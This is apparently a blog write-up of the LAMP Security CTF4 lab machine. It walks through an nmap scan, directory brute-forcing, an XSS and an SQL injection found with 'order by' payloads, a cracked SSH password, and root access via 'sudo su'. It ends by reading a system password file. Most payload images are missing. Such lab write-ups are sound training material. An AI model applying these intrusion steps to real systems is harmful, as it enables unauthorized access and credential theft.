Offensive Security And CTF

Lamp Security CTF4 Writeup

Dec 20, 2016 • vulnhub

Hi everyone. This is my solution for LAMP security CTF4. This CTF is very easy, you can download it from or play online on I did it on root-me, therefore my target was

Ok let’s start, i ran nmap to see which services were open (usually I run a second scan with “-p 1-65535” parameter to identify all the ports).

Syrion:~ syrion$ sudo nmap -sT -sV -O
Starting Nmap 7.25BETA2 ( ) at 2016-10-07 21:19 CEST
Nmap scan report for (
Host is up (0.040s latency).
Not shown: 727 closed ports, 270 filtered ports
22/tcp open tcpwrapped
25/tcp open tcpwrapped
80/tcp open tcpwrapped
Device type: general purpose|WAP
Running (JUST GUESSING): OpenBSD 4.X (88%), Apple embedded (87%), FreeBSD 6.X (87%)
OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/h:apple:airport_extreme cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: OpenBSD 4.0 (88%), Apple AirPort Extreme WAP (87%), FreeBSD 6.2-RELEASE (87%), FreeBSD 6.3-RELEASE (87%), OpenBSD 4.3 (87%)
No exact OS matches for host (test conditions non-ideal).

At this point I used netcat to verify the services on the three open ports. As excepted:

  • SSH on 22
  • SENDMAIL on 25
  • HTTP on 80

In the meantime, I ran DirBuster, and I noticed this file:


It was the database’s structure:


This was the website on port 80:


I noticed this xss on the search bar:


Then I found an SQL Injection on the blog:


At this pont I started to enumerate the select statement’s parameters by using this payloads:

  • id=1 order by 1 —
  • id=1 order by 2 —

They were five!


I needed to know which parameters were visible:


And then I performed the full SQL Inection (i knew the database structure because of db.sql):


Ok let’s use crackstation to crack the hash. I tried to login as dstevens via ssh with the following credentials:

username dstevens
password: ilike2surf

And I succeeded:

Syrion:~ syrion$ ssh
The authenticity of host ‘ (’ can’t be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘,’ (RSA) to the list of known hosts.
BSD SSH 4.1’s password:
Last login: Mon Mar  9 07:48:18 2009 from
[dstevens@ctf ~]$

I tried to run “sudo su” and yes… it worked (LOL):

[dstevens@ctf ~]$ sudo su
[root@ctf dstevens]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t:SystemLow-SystemHigh
[root@ctf dstevens]# cat /passwd

The privilege escalation was very very…very easy 😛

Bye bye!